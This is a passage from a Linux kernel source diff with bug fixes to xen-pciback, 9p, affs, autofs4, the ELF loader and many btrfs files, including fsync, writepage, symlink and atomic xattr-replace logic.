~PCI_COMMAND_GUEST; + return pci_write_config_word(dev, offset, value); } @@ -282,6 +315,8 @@ static const struct config_field header_common[] = { { .offset = PCI_COMMAND, .size = 2, + .init = command_init, + .release = bar_release, .u.w.read = command_read, .u.w.write = command_write, }, diff --git a/fs/9p/vfs_inode.c b/fs/9p/vfs_inode.c index d86edc8d3fd05..4c7d309e4aa6e 100644 --- a/fs/9p/vfs_inode.c +++ b/fs/9p/vfs_inode.c @@ -537,8 +537,7 @@ static struct inode *v9fs_qid_iget(struct super_block *sb, unlock_new_inode(inode); return inode; error: - unlock_new_inode(inode); - iput(inode); + iget_failed(inode); return ERR_PTR(retval); } diff --git a/fs/9p/vfs_inode_dotl.c b/fs/9p/vfs_inode_dotl.c index 53687bbf2296f..65b21a24841e5 100644 --- a/fs/9p/vfs_inode_dotl.c +++ b/fs/9p/vfs_inode_dotl.c @@ -151,8 +151,7 @@ static struct inode *v9fs_qid_iget_dotl(struct super_block *sb, unlock_new_inode(inode); return inode; error: - unlock_new_inode(inode); - iput(inode); + iget_failed(inode); return ERR_PTR(retval); } diff --git a/fs/affs/amigaffs.c b/fs/affs/amigaffs.c index d9a43674cb947..9cca0ea4e4790 100644 --- a/fs/affs/amigaffs.c +++ b/fs/affs/amigaffs.c @@ -126,7 +126,7 @@ affs_fix_dcache(struct inode *inode, u32 entry_ino) { struct dentry *dentry; spin_lock(&inode->i_lock); - hlist_for_each_entry(dentry, &inode->i_dentry, d_alias) { + hlist_for_each_entry(dentry, &inode->i_dentry, d_u.d_alias) { if (entry_ino == (u32)(long)dentry->d_fsdata) { dentry->d_fsdata = (void *)inode->i_ino; break; diff --git a/fs/autofs4/dev-ioctl.c b/fs/autofs4/dev-ioctl.c index 743c7c2c949d2..6aa8312ad89f7 100644 --- a/fs/autofs4/dev-ioctl.c +++ b/fs/autofs4/dev-ioctl.c @@ -95,7 +95,7 @@ static int check_dev_ioctl_version(int cmd, struct autofs_dev_ioctl *param) */ static struct autofs_dev_ioctl *copy_dev_ioctl(struct autofs_dev_ioctl __user *in) { - struct autofs_dev_ioctl tmp; + struct autofs_dev_ioctl tmp, *res; if (copy_from_user(&tmp, in, sizeof(tmp))) return ERR_PTR(-EFAULT); @@ -103,7 +103,11 @@ static struct autofs_dev_ioctl *copy_dev_ioctl(struct autofs_dev_ioctl __user *i if (tmp.size < sizeof(tmp)) return ERR_PTR(-EINVAL); - return memdup_user(in, tmp.size); + res = memdup_user(in, tmp.size); + if (!IS_ERR(res)) + res->size = tmp.size; + + return res; } static inline void free_dev_ioctl(struct autofs_dev_ioctl *param) diff --git a/fs/autofs4/expire.c b/fs/autofs4/expire.c index 13ddec92341cd..8ad277990eacc 100644 --- a/fs/autofs4/expire.c +++ b/fs/autofs4/expire.c @@ -91,7 +91,7 @@ static struct dentry *get_next_positive_subdir(struct dentry *prev, spin_lock(&root->d_lock); if (prev) - next = prev->d_u.d_child.next; + next = prev->d_child.next; else { prev = dget_dlock(root); next = prev->d_subdirs.next; @@ -105,13 +105,13 @@ static struct dentry *get_next_positive_subdir(struct dentry *prev, return NULL; } - q = list_entry(next, struct dentry, d_u.d_child); + q = list_entry(next, struct dentry, d_child); spin_lock_nested(&q->d_lock, DENTRY_D_LOCK_NESTED); /* Already gone or negative dentry (under construction) - try next */ if (q->d_count == 0 || !simple_positive(q)) { spin_unlock(&q->d_lock); - next = q->d_u.d_child.next; + next = q->d_child.next; goto cont; } dget_dlock(q); @@ -161,13 +161,13 @@ static struct dentry *get_next_positive_dentry(struct dentry *prev, goto relock; } spin_unlock(&p->d_lock); - next = p->d_u.d_child.next; + next = p->d_child.next; p = parent; if (next != &parent->d_subdirs) break; } } - ret = list_entry(next, struct dentry, d_u.d_child); + ret = list_entry(next, struct dentry, d_child); spin_lock_nested(&ret->d_lock, DENTRY_D_LOCK_NESTED); /* Negative dentry - try next */ @@ -447,7 +447,7 @@ struct dentry *autofs4_expire_indirect(struct super_block *sb, spin_lock(&sbi->lookup_lock); spin_lock(&expired->d_parent->d_lock); spin_lock_nested(&expired->d_lock, DENTRY_D_LOCK_NESTED); - list_move(&expired->d_parent->d_subdirs, &expired->d_u.d_child); + list_move(&expired->d_parent->d_subdirs, &expired->d_child); spin_unlock(&expired->d_lock); spin_unlock(&expired->d_parent->d_lock); spin_unlock(&sbi->lookup_lock); diff --git a/fs/autofs4/root.c b/fs/autofs4/root.c index 085da86e07c22..79ab4cb3590a4 100644 --- a/fs/autofs4/root.c +++ b/fs/autofs4/root.c @@ -655,7 +655,7 @@ static void autofs_clear_leaf_automount_flags(struct dentry *dentry) /* only consider parents below dentrys in the root */ if (IS_ROOT(parent->d_parent)) return; - d_child = &dentry->d_u.d_child; + d_child = &dentry->d_child; /* Set parent managed if it's becoming empty */ if (d_child->next == &parent->d_subdirs && d_child->prev == &parent->d_subdirs) diff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c index 54aaf2249d6e1..18acaa794143d 100644 --- a/fs/binfmt_elf.c +++ b/fs/binfmt_elf.c @@ -552,11 +552,12 @@ static unsigned long load_elf_interp(struct elfhdr *interp_elf_ex, static unsigned long randomize_stack_top(unsigned long stack_top) { - unsigned int random_variable = 0; + unsigned long random_variable = 0; if ((current->flags & PF_RANDOMIZE) && !(current->personality & ADDR_NO_RANDOMIZE)) { - random_variable = get_random_int() & STACK_RND_MASK; + random_variable = (unsigned long) get_random_int(); + random_variable &= STACK_RND_MASK; random_variable <<= PAGE_SHIFT; } #ifdef CONFIG_STACK_GROWSUP @@ -681,16 +682,16 @@ static int load_elf_binary(struct linux_binprm *bprm) */ would_dump(bprm, interpreter); - retval = kernel_read(interpreter, 0, bprm->buf, - BINPRM_BUF_SIZE); - if (retval != BINPRM_BUF_SIZE) { + /* Get the exec headers */ + retval = kernel_read(interpreter, 0, + (void *)&loc->interp_elf_ex, + sizeof(loc->interp_elf_ex)); + if (retval != sizeof(loc->interp_elf_ex)) { if (retval >= 0) retval = -EIO; goto out_free_dentry; } - /* Get the exec headers */ - loc->interp_elf_ex = *((struct elfhdr *)bprm->buf); break; } elf_ppnt++; @@ -753,6 +754,7 @@ static int load_elf_binary(struct linux_binprm *bprm) i < loc->elf_ex.e_phnum; i++, elf_ppnt++) { int elf_prot = 0, elf_flags; unsigned long k, vaddr; + unsigned long total_size = 0; if (elf_ppnt->p_type != PT_LOAD) continue; @@ -817,10 +819,16 @@ static int load_elf_binary(struct linux_binprm *bprm) #else load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr); #endif + total_size = total_mapping_size(elf_phdata, + loc->elf_ex.e_phnum); + if (!total_size) { + retval = -EINVAL; + goto out_free_dentry; + } } error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt, - elf_prot, elf_flags, 0); + elf_prot, elf_flags, total_size); if (BAD_ADDR(error)) { send_sig(SIGKILL, current, 0); retval = IS_ERR((void *)error) ? diff --git a/fs/btrfs/backref.c b/fs/btrfs/backref.c index d85f90c92bb4d..bca854b440567 100644 --- a/fs/btrfs/backref.c +++ b/fs/btrfs/backref.c @@ -1228,7 +1228,8 @@ char *btrfs_ref_to_path(struct btrfs_root *fs_root, struct btrfs_path *path, read_extent_buffer(eb, dest + bytes_left, name_off, name_len); if (eb != eb_in) { - btrfs_tree_read_unlock_blocking(eb); + if (!path->skip_locking) + btrfs_tree_read_unlock_blocking(eb); free_extent_buffer(eb); } ret = inode_ref_info(parent, 0, fs_root, path, &found_key); @@ -1247,9 +1248,10 @@ char *btrfs_ref_to_path(struct btrfs_root *fs_root, struct btrfs_path *path, eb = path->nodes[0]; /* make sure we can use eb after releasing the path */ if (eb != eb_in) { - atomic_inc(&eb->refs); - btrfs_tree_read_lock(eb); - btrfs_set_lock_blocking_rw(eb, BTRFS_READ_LOCK); + if (!path->skip_locking) + btrfs_set_lock_blocking_rw(eb, BTRFS_READ_LOCK); + path->nodes[0] = NULL; + path->locks[0] = 0; } btrfs_release_path(path); iref = btrfs_item_ptr(eb, slot, struct btrfs_inode_ref); diff --git a/fs/btrfs/ctree.c b/fs/btrfs/ctree.c index 7fb054ba1b601..82f14a1da542e 100644 --- a/fs/btrfs/ctree.c +++ b/fs/btrfs/ctree.c @@ -2769,7 +2769,7 @@ int btrfs_search_slot(struct btrfs_trans_handle *trans, struct btrfs_root */ if (!p->leave_spinning) btrfs_set_path_blocking(p); - if (ret < 0) + if (ret < 0 && !p->skip_release_on_error) btrfs_release_path(p); return ret; } diff --git a/fs/btrfs/ctree.h b/fs/btrfs/ctree.h index d6dd49b51ba8d..c19444e412be4 100644 --- a/fs/btrfs/ctree.h +++ b/fs/btrfs/ctree.h @@ -586,6 +586,7 @@ struct btrfs_path { unsigned int skip_locking:1; unsigned int leave_spinning:1; unsigned int search_commit_root:1; + unsigned int skip_release_on_error:1; }; /* @@ -3406,6 +3407,10 @@ struct btrfs_dir_item *btrfs_lookup_xattr(struct btrfs_trans_handle *trans, int verify_dir_item(struct btrfs_root *root, struct extent_buffer *leaf, struct btrfs_dir_item *dir_item); +struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root, + struct btrfs_path *path, + const char *name, + int name_len); /* orphan.c */ int btrfs_insert_orphan_item(struct btrfs_trans_handle *trans, diff --git a/fs/btrfs/delayed-inode.c b/fs/btrfs/delayed-inode.c index f26f38ccd1942..019fc5a68a145 100644 --- a/fs/btrfs/delayed-inode.c +++ b/fs/btrfs/delayed-inode.c @@ -1843,6 +1843,14 @@ int btrfs_delayed_update_inode(struct btrfs_trans_handle *trans, struct btrfs_delayed_node *delayed_node; int ret = 0; + /* + * we don't do delayed inode updates during log recovery because it + * leads to enospc problems. This means we also can't do + * delayed inode refs + */ + if (BTRFS_I(inode)->root->fs_info->log_root_recovering) + return -EAGAIN; + delayed_node = btrfs_get_or_create_delayed_node(inode); if (IS_ERR(delayed_node)) return PTR_ERR(delayed_node); diff --git a/fs/btrfs/dir-item.c b/fs/btrfs/dir-item.c index 79e594e341c7c..6f61b9b1526f9 100644 --- a/fs/btrfs/dir-item.c +++ b/fs/btrfs/dir-item.c @@ -21,10 +21,6 @@ #include "hash.h" #include "transaction.h" -static struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root, - struct btrfs_path *path, - const char *name, int name_len); - /* * insert a name into a directory, doing overflow properly if there is a hash * collision. data_size indicates how big the item inserted should be. On @@ -383,9 +379,9 @@ struct btrfs_dir_item *btrfs_lookup_xattr(struct btrfs_trans_handle *trans, * this walks through all the entries in a dir item and finds one * for a specific name. */ -static struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root, - struct btrfs_path *path, - const char *name, int name_len) +struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root, + struct btrfs_path *path, + const char *name, int name_len) { struct btrfs_dir_item *dir_item; unsigned long name_ptr; diff --git a/fs/btrfs/disk-io.c b/fs/btrfs/disk-io.c index abecce3993542..9612a01198df9 100644 --- a/fs/btrfs/disk-io.c +++ b/fs/btrfs/disk-io.c @@ -2437,6 +2437,7 @@ int open_ctree(struct super_block *sb, "unsupported option features (%Lx).\n", (unsigned long long)features); err = -EINVAL; + brelse(bh); goto fail_alloc; } @@ -3857,12 +3858,6 @@ static int btrfs_destroy_pinned_extent(struct btrfs_root *root, if (ret) break; - /* opt_discard */ - if (btrfs_test_opt(root, DISCARD)) - ret = btrfs_error_discard_extent(root, start, - end + 1 - start, - NULL); - clear_extent_dirty(unpin, start, end, GFP_NOFS); btrfs_error_unpin_extent_range(root, start, end); cond_resched(); diff --git a/fs/btrfs/extent-tree.c b/fs/btrfs/extent-tree.c index bbafa05519daa..07f167a1d2714 100644 --- a/fs/btrfs/extent-tree.c +++ b/fs/btrfs/extent-tree.c @@ -5277,7 +5277,8 @@ void btrfs_prepare_extent_commit(struct btrfs_trans_handle *trans, update_global_block_rsv(fs_info); } -static int unpin_extent_range(struct btrfs_root *root, u64 start, u64 end) +static int unpin_extent_range(struct btrfs_root *root, u64 start, u64 end, + const bool return_free_space) { struct btrfs_fs_info *fs_info = root->fs_info; struct btrfs_block_group_cache *cache = NULL; @@ -5301,7 +5302,8 @@ static int unpin_extent_range(struct btrfs_root *root, u64 start, u64 end) if (start < cache->last_byte_to_unpin) { len = min(len, cache->last_byte_to_unpin - start); - btrfs_add_free_space(cache, start, len); + if (return_free_space) + btrfs_add_free_space(cache, start, len); } start += len; @@ -5364,7 +5366,7 @@ int btrfs_finish_extent_commit(struct btrfs_trans_handle *trans, end + 1 - start, NULL); clear_extent_dirty(unpin, start, end, GFP_NOFS); - unpin_extent_range(root, start, end); + unpin_extent_range(root, start, end, true); cond_resched(); } @@ -6361,12 +6363,11 @@ static int __btrfs_free_reserved_extent(struct btrfs_root *root, return -ENOSPC; } - if (btrfs_test_opt(root, DISCARD)) - ret = btrfs_discard_extent(root, start, len, NULL); - if (pin) pin_down_extent(root, cache, start, len, 1); else { + if (btrfs_test_opt(root, DISCARD)) + ret = btrfs_discard_extent(root, start, len, NULL); btrfs_add_free_space(cache, start, len); btrfs_update_reserved_bytes(cache, len, RESERVE_FREE); } @@ -8564,7 +8565,7 @@ int btrfs_init_space_info(struct btrfs_fs_info *fs_info) int btrfs_error_unpin_extent_range(struct btrfs_root *root, u64 start, u64 end) { - return unpin_extent_range(root, start, end); + return unpin_extent_range(root, start, end, false); } int btrfs_error_discard_extent(struct btrfs_root *root, u64 bytenr, diff --git a/fs/btrfs/extent_io.c b/fs/btrfs/extent_io.c index dcbb82b240957..f5dee138fc3fb 100644 --- a/fs/btrfs/extent_io.c +++ b/fs/btrfs/extent_io.c @@ -4080,8 +4080,11 @@ int extent_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, } ret = fiemap_fill_next_extent(fieinfo, em_start, disko, em_len, flags); - if (ret) + if (ret) { + if (ret == 1) + ret = 0; goto out_free; + } } out_free: free_extent_map(em); diff --git a/fs/btrfs/extent_map.c b/fs/btrfs/extent_map.c index a4a7a1a8da95c..0a3809500599e 100644 --- a/fs/btrfs/extent_map.c +++ b/fs/btrfs/extent_map.c @@ -263,8 +263,6 @@ int unpin_extent_cache(struct extent_map_tree *tree, u64 start, u64 len, if (!em) goto out; - if (!test_bit(EXTENT_FLAG_LOGGING, &em->flags)) - list_move(&em->list, &tree->modified_extents); em->generation = gen; clear_bit(EXTENT_FLAG_PINNED, &em->flags); em->mod_start = em->start; diff --git a/fs/btrfs/file-item.c b/fs/btrfs/file-item.c index b193bf324a412..e4bcfec7787ed 100644 --- a/fs/btrfs/file-item.c +++ b/fs/btrfs/file-item.c @@ -403,7 +403,7 @@ int btrfs_lookup_csums_range(struct btrfs_root *root, u64 start, u64 end, ret = 0; fail: while (ret < 0 && !list_empty(&tmplist)) { - sums = list_entry(&tmplist, struct btrfs_ordered_sum, list); + sums = list_entry(tmplist.next, struct btrfs_ordered_sum, list); list_del(&sums->list); kfree(sums); } @@ -754,7 +754,7 @@ int btrfs_csum_file_blocks(struct btrfs_trans_handle *trans, found_next = 1; if (ret != 0) goto insert; - slot = 0; + slot = path->slots[0]; } btrfs_item_key_to_cpu(path->nodes[0], &found_key, slot); if (found_key.objectid != BTRFS_EXTENT_CSUM_OBJECTID || diff --git a/fs/btrfs/file.c b/fs/btrfs/file.c index 4205ba752d40c..caaf30f9f27f8 100644 --- a/fs/btrfs/file.c +++ b/fs/btrfs/file.c @@ -1593,22 +1593,10 @@ static ssize_t btrfs_file_aio_write(struct kiocb *iocb, mutex_unlock(&inode->i_mutex); /* - * we want to make sure fsync finds this change - * but we haven't joined a transaction running right now. - * - * Later on, someone is sure to update the inode and get the - * real transid recorded. - * - * We set last_trans now to the fs_info generation + 1, - * this will either be one more than the running transaction - * or the generation used for the next transaction if there isn't - * one running right now. - * * We also have to set last_sub_trans to the current log transid, * otherwise subsequent syncs to a file that's been synced in this * transaction will appear to have already occured. */ - BTRFS_I(inode)->last_trans = root->fs_info->generation + 1; BTRFS_I(inode)->last_sub_trans = root->log_transid; if (num_written > 0 || num_written == -EIOCBQUEUED) { err = generic_write_sync(file, pos, num_written); @@ -1706,25 +1694,37 @@ int btrfs_sync_file(struct file *file, loff_t start, loff_t end, int datasync) atomic_inc(&root->log_batch); /* - * check the transaction that last modified this inode - * and see if its already been committed - */ - if (!BTRFS_I(inode)->last_trans) { - mutex_unlock(&inode->i_mutex); - goto out; - } - - /* - * if the last transaction that changed this file was before - * the current transaction, we can bail out now without any - * syncing + * If the last transaction that changed this file was before the current + * transaction and we have the full sync flag set in our inode, we can + * bail out now without any syncing. + * + * Note that we can't bail out if the full sync flag isn't set. This is + * because when the full sync flag is set we start all ordered extents + * and wait for them to fully complete - when they complete they update + * the inode's last_trans field through: + * + * btrfs_finish_ordered_io() -> + * btrfs_update_inode_fallback() -> + * btrfs_update_inode() -> + * btrfs_set_inode_last_trans() + * + * So we are sure that last_trans is up to date and can do this check to + * bail out safely. For the fast path, when the full sync flag is not + * set in our inode, we can not do it because we start only our ordered + * extents and don't wait for them to complete (that is when + * btrfs_finish_ordered_io runs), so here at this point their last_trans + * value might be less than or equals to fs_info->last_trans_committed, + * and setting a speculative last_trans for an inode when a buffered + * write is made (such as fs_info->generation + 1 for example) would not + * be reliable since after setting the value and before fsync is called + * any number of transactions can start and commit (transaction kthread + * commits the current transaction periodically), and a transaction + * commit does not start nor waits for ordered extents to complete. */ smp_mb(); if (btrfs_inode_in_log(inode, root->fs_info->generation) || - BTRFS_I(inode)->last_trans <= - root->fs_info->last_trans_committed) { - BTRFS_I(inode)->last_trans = 0; - + (full_sync && BTRFS_I(inode)->last_trans <= + root->fs_info->last_trans_committed)) { /* * We'v had everything committed since the last time we were * modified so clear this flag in case it was set for whatever diff --git a/fs/btrfs/inode-map.c b/fs/btrfs/inode-map.c index 2c66ddbbe670e..0389e90eec336 100644 --- a/fs/btrfs/inode-map.c +++ b/fs/btrfs/inode-map.c @@ -283,7 +283,7 @@ void btrfs_unpin_free_ino(struct btrfs_root *root) __btrfs_add_free_space(ctl, info->offset, count); free: rb_erase(&info->offset_index, rbroot); - kfree(info); + kmem_cache_free(btrfs_free_space_cachep, info); } } diff --git a/fs/btrfs/inode.c b/fs/btrfs/inode.c index 429142f2ff9b4..4bb890d0cab7e 100644 --- a/fs/btrfs/inode.c +++ b/fs/btrfs/inode.c @@ -1286,8 +1286,14 @@ static noinline int run_delalloc_nocow(struct inode *inode, num_bytes = 0; btrfs_item_key_to_cpu(leaf, &found_key, path->slots[0]); - if (found_key.objectid > ino || - found_key.type > BTRFS_EXTENT_DATA_KEY || + if (found_key.objectid > ino) + break; + if (WARN_ON_ONCE(found_key.objectid < ino) || + found_key.type < BTRFS_EXTENT_DATA_KEY) { + path->slots[0]++; + goto next_slot; + } + if (found_key.type > BTRFS_EXTENT_DATA_KEY || found_key.offset > end) break; @@ -3545,7 +3551,8 @@ noinline int btrfs_update_inode(struct btrfs_trans_handle *trans, * without delay */ if (!btrfs_is_free_space_inode(inode) - && root->root_key.objectid != BTRFS_DATA_RELOC_TREE_OBJECTID) { + && root->root_key.objectid != BTRFS_DATA_RELOC_TREE_OBJECTID + && !root->fs_info->log_root_recovering) { btrfs_update_root_times(trans, root); ret = btrfs_delayed_update_inode(trans, root, inode); @@ -4649,7 +4656,8 @@ void btrfs_evict_inode(struct inode *inode) goto no_delete; } /* do we really want it for ->i_nlink > 0 and zero btrfs_root_refs? */ - btrfs_wait_ordered_range(inode, 0, (u64)-1); + if (!special_file(inode->i_mode)) + btrfs_wait_ordered_range(inode, 0, (u64)-1); if (root->fs_info->log_root_recovering) { BUG_ON(test_bit(BTRFS_INODE_HAS_ORPHAN_ITEM, @@ -6824,7 +6832,6 @@ static int btrfs_get_blocks_direct(struct inode *inode, sector_t iblock, ((BTRFS_I(inode)->flags & BTRFS_INODE_NODATACOW) && em->block_start != EXTENT_MAP_HOLE)) { int type; - int ret; u64 block_start, orig_start, orig_block_len, ram_bytes; if (test_bit(EXTENT_FLAG_PREALLOC, &em->flags)) @@ -7470,15 +7477,28 @@ int btrfs_readpage(struct file *file, struct page *page) static int btrfs_writepage(struct page *page, struct writeback_control *wbc) { struct extent_io_tree *tree; - + struct inode *inode = page->mapping->host; + int ret; if (current->flags & PF_MEMALLOC) { redirty_page_for_writepage(wbc, page); unlock_page(page); return 0; } + + /* + * If we are under memory pressure we will call this directly from the + * VM, we need to make sure we have the inode referenced for the ordered + * extent. If not just return like we didn't do anything. + */ + if (!igrab(inode)) { + redirty_page_for_writepage(wbc, page); + return AOP_WRITEPAGE_ACTIVATE; + } tree = &BTRFS_I(page->mapping->host)->io_tree; - return extent_write_full_page(tree, page, btrfs_get_extent, wbc); + ret = extent_write_full_page(tree, page, btrfs_get_extent, wbc); + btrfs_add_delayed_iput(inode); + return ret; } static int btrfs_writepages(struct address_space *mapping, @@ -8467,9 +8487,11 @@ static int btrfs_symlink(struct inode *dir, struct dentry *dentry, /* * 2 items for inode item and ref * 2 items for dir items + * 1 item for updating parent inode item + * 1 item for the inline extent item * 1 item for xattr if selinux is on */ - trans = btrfs_start_transaction(root, 5); + trans = btrfs_start_transaction(root, 7); if (IS_ERR(trans)) return PTR_ERR(trans); diff --git a/fs/btrfs/ioctl.c b/fs/btrfs/ioctl.c index 783906c687b55..dbefa6c609f47 100644 --- a/fs/btrfs/ioctl.c +++ b/fs/btrfs/ioctl.c @@ -2572,6 +2572,11 @@ static noinline long btrfs_ioctl_clone(struct file *file, unsigned long srcfd, if (off + len == src->i_size) len = ALIGN(src->i_size, bs) - off; + if (len == 0) { + ret = 0; + goto out_unlock; + } + /* verify the end result is block aligned */ if (!IS_ALIGNED(off, bs) || !IS_ALIGNED(off + len, bs) || !IS_ALIGNED(destoff, bs)) diff --git a/fs/btrfs/relocation.c b/fs/btrfs/relocation.c index b3896d5f233a9..0e7f7765b3bbe 100644 --- a/fs/btrfs/relocation.c +++ b/fs/btrfs/relocation.c @@ -967,8 +967,11 @@ struct backref_node *build_backref_tree(struct reloc_control *rc, need_check = false; list_add_tail(&edge->list[UPPER], &list); - } else + } else { + if (upper->checked) + need_check = true; INIT_LIST_HEAD(&edge->list[UPPER]); + } } else { upper = rb_entry(rb_node, struct backref_node, rb_node); diff --git a/fs/btrfs/send.c b/fs/btrfs/send.c index 414c1b9eb8964..3104e0eec8164 100644 --- a/fs/btrfs/send.c +++ b/fs/btrfs/send.c @@ -1338,7 +1338,21 @@ static int read_symlink(struct send_ctx *sctx, ret = btrfs_search_slot(NULL, root, &key, path, 0, 0); if (ret < 0) goto out; - BUG_ON(ret); + if (ret) { + /* + * An empty symlink inode. Can happen in rare error paths when + * creating a symlink (transaction committed before the inode + * eviction handler removed the symlink inode items and a crash + * happened in between or the subvol was snapshoted in between). + * Print an informative message to dmesg/syslog so that the user + * can delete the symlink. + */ + btrfs_err(root->fs_info, + "Found empty symlink inode %llu at root %llu", + ino, root->root_key.objectid); + ret = -EIO; + goto out; + } ei = btrfs_item_ptr(path->nodes[0], path->slots[0], struct btrfs_file_extent_item); diff --git a/fs/btrfs/super.c b/fs/btrfs/super.c index f0857e092a3cb..68891ff7e5d4d 100644 --- a/fs/btrfs/super.c +++ b/fs/btrfs/super.c @@ -779,6 +779,15 @@ static struct dentry *get_default_root(struct super_block *sb, if (btrfs_root_refs(&new_root->root_item) == 0) return ERR_PTR(-ENOENT); + if (!(sb->s_flags & MS_RDONLY)) { + int ret; + down_read(&fs_info->cleanup_work_sem); + ret = btrfs_orphan_cleanup(new_root); + up_read(&fs_info->cleanup_work_sem); + if (ret) + return ERR_PTR(ret); + } + dir_id = btrfs_root_dirid(&new_root->root_item); setup_root: location.objectid = dir_id; diff --git a/fs/btrfs/transaction.c b/fs/btrfs/transaction.c index 0544587d74f4b..1f214689fa5e6 100644 --- a/fs/btrfs/transaction.c +++ b/fs/btrfs/transaction.c @@ -524,7 +524,6 @@ int btrfs_wait_for_commit(struct btrfs_root *root, u64 transid) if (transid <= root->fs_info->last_trans_committed) goto out; - ret = -EINVAL; /* find specified transaction */ spin_lock(&root->fs_info->trans_lock); list_for_each_entry(t, &root->fs_info->trans_list, list) { @@ -540,9 +539,16 @@ int btrfs_wait_for_commit(struct btrfs_root *root, u64 transid) } } spin_unlock(&root->fs_info->trans_lock); - /* The specified transaction doesn't exist */ - if (!cur_trans) + + /* + * The specified transaction doesn't exist, or we + * raced with btrfs_commit_transaction + */ + if (!cur_trans) { + if (transid > root->fs_info->last_trans_committed) + ret = -EINVAL; goto out; + } } else { /* find newest transaction that is committing | committed */ spin_lock(&root->fs_info->trans_lock); diff --git a/fs/btrfs/tree-log.c b/fs/btrfs/tree-log.c index bca436330681a..7d3331cbccbac 100644 --- a/fs/btrfs/tree-log.c +++ b/fs/btrfs/tree-log.c @@ -943,7 +943,7 @@ static inline int __add_inode_ref(struct btrfs_trans_handle *trans, base = btrfs_item_ptr_offset(leaf, path->slots[0]); while (cur_offset < item_size) { - extref = (struct btrfs_inode_extref *)base + cur_offset; + extref = (struct btrfs_inode_extref *)(base + cur_offset); victim_name_len = btrfs_inode_extref_name_len(leaf, extref); diff --git a/fs/btrfs/xattr.c b/fs/btrfs/xattr.c index 05740b9789e4f..9cf20d63cc998 100644 --- a/fs/btrfs/xattr.c +++ b/fs/btrfs/xattr.c @@ -27,6 +27,7 @@ #include "transaction.h" #include "xattr.h" #include "disk-io.h" +#include "locking.h" ssize_t __btrfs_getxattr(struct inode *inode, const char *name, @@ -89,7 +90,7 @@ static int do_setxattr(struct btrfs_trans_handle *trans, struct inode *inode, const char *name, const void *value, size_t size, int flags) { - struct btrfs_dir_item *di; + struct btrfs_dir_item *di = NULL; struct btrfs_root *root = BTRFS_I(inode)->root; struct btrfs_path *path; size_t name_len = strlen(name); @@ -101,84 +102,128 @@ static int do_setxattr(struct btrfs_trans_handle *trans, path = btrfs_alloc_path(); if (!path) return -ENOMEM; + path->skip_release_on_error = 1; + + if (!value) { + di = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode), + name, name_len, -1); + if (!di && (flags & XATTR_REPLACE)) + ret = -ENODATA; + else if (di) + ret = btrfs_delete_one_dir_name(trans, root, path, di); + goto out; + } + /* + * For a replace we can't just do the insert blindly. + * Do a lookup first (read-only btrfs_search_slot), and return if xattr + * doesn't exist. If it exists, fall down below to the insert/replace + * path - we can't race with a concurrent xattr delete, because the VFS + * locks the inode's i_mutex before calling setxattr or removexattr. + */ if (flags & XATTR_REPLACE) { - di = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode), name, - name_len, -1); - if (IS_ERR(di)) { - ret = PTR_ERR(di); - goto out; - } else if (!di) { + if(!mutex_is_locked(&inode->i_mutex)) { + pr_err("BTRFS: assertion failed: %s, file: %s, line: %d", + "mutex_is_locked(&inode->i_mutex)", __FILE__, + __LINE__); + BUG(); + } + di = btrfs_lookup_xattr(NULL, root, path, btrfs_ino(inode), + name, name_len, 0); + if (!di) { ret = -ENODATA; goto out; } - ret = btrfs_delete_one_dir_name(trans, root, path, di); - if (ret) - goto out; btrfs_release_path(path); + di = NULL; + } + ret = btrfs_insert_xattr_item(trans, root, path, btrfs_ino(inode), + name, name_len, value, size); + if (ret == -EOVERFLOW) { /* - * remove the attribute + * We have an existing item in a leaf, split_leaf couldn't + * expand it. That item might have or not a dir_item that + * matches our target xattr, so lets check. */ - if (!value) - goto out; - } else { - di = btrfs_lookup_xattr(NULL, root, path, btrfs_ino(inode), - name, name_len, 0); - if (IS_ERR(di)) { - ret = PTR_ERR(di); + ret = 0; + btrfs_assert_tree_locked(path->nodes[0]); + di = btrfs_match_dir_item_name(root, path, name, name_len); + if (!di && !(flags & XATTR_REPLACE)) { + ret = -ENOSPC; goto out; } - if (!di && !value) - goto out; - btrfs_release_path(path); + } else if (ret == -EEXIST) { + ret = 0; + di = btrfs_match_dir_item_name(root, path, name, name_len); + if(!di) { /* logic error */ + pr_err("BTRFS: assertion failed: %s, file: %s, line: %d", + "di", __FILE__, __LINE__); + BUG(); + } + } else if (ret) { + goto out; } -again: - ret = btrfs_insert_xattr_item(trans, root, path, btrfs_ino(inode), - name, name_len, value, size); - /* - * If we're setting an xattr to a new value but the new value is say - * exactly BTRFS_MAX_XATTR_SIZE, we could end up with EOVERFLOW getting - * back from split_leaf. This is because it thinks we'll be extending - * the existing item size, but we're asking for enough space to add the - * item itself. So if we get EOVERFLOW just set ret to EEXIST and let - * the rest of the function figure it out. - */ - if (ret == -EOVERFLOW) + if (di && (flags & XATTR_CREATE)) { ret = -EEXIST; + goto out; + } - if (ret == -EEXIST) { - if (flags & XATTR_CREATE) - goto out; + if (di) { /* - * We can't use the path we already have since we won't have the - * proper locking for a delete, so release the path and - * re-lookup to delete the thing. + * We're doing a replace, and it must be atomic, that is, at + * any point in time we have either the old or the new xattr + * value in the tree. We don't want readers (getxattr and + * listxattrs) to miss a value, this is specially important + * for ACLs. */ - btrfs_release_path(path); - di = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode), - name, name_len, -1); - if (IS_ERR(di)) { - ret = PTR_ERR(di); - goto out; - } else if (!di) { - /* Shouldn't happen but just in case... */ - btrfs_release_path(path); - goto again; + const int slot = path->slots[0]; + struct extent_buffer *leaf = path->nodes[0]; + const u16 old_data_len = btrfs_dir_data_len(leaf, di); + const u32 item_size = btrfs_item_size_nr(leaf, slot); + const u32 data_size = sizeof(*di) + name_len + size; + struct btrfs_item *item; + unsigned long data_ptr; + char *ptr; + + if (size > old_data_len) { + if (btrfs_leaf_free_space(root, leaf) < + (size - old_data_len)) { + ret = -ENOSPC; + goto out; + } } - ret = btrfs_delete_one_dir_name(trans, root, path, di); - if (ret) - goto out; + if (old_data_len + name_len + sizeof(*di) == item_size) { + /* No other xattrs packed in the same leaf item. */ + if (size > old_data_len) + 